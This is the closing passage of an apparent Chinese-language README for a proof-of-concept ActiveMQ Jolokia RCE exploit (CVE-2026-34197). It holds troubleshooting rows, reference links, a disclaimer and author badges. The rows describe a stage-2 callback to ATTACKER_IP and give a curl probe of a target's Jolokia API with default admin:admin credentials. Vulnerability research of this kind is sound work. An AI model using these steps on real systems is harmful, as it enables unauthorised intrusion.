| `version_check.py` 显示 `[VULNERABLE]` 但第 2 阶段失败 | 目标无法访问你的 IP,或防火墙阻止出站 HTTP | 验证 ATTACKER_IP;对于慢速网络可尝试 `--wait 30` |
| `version_check.py` 对所有目标均显示 `No Jolokia` | Jolokia API 已禁用或位于非标准路径 | 使用 `curl -u admin:admin http://TARGET:8161/api/jolokia/` 手动验证 |
---
## 参考资料
| 资源 | 链接 |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [技术分析](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Apache 公告 | [安全公告](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| 相关 CVE | [CVE-2024-32114 — Jolokia 无认证](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| 相关 CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## 免责声明
> [!WARNING]
> 此概念验证**严格用于教育和经授权的安全研究目的**。未经授权对你不拥有或未获得明确测试许可的系统使用此工具是**非法的**。作者对滥用行为不承担任何责任。
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>由 <b>KONDOR DEV SECURITY CORP</b> 专业开发</sub><br>
<sub>MIT 许可证 © 2026</sub>
</p>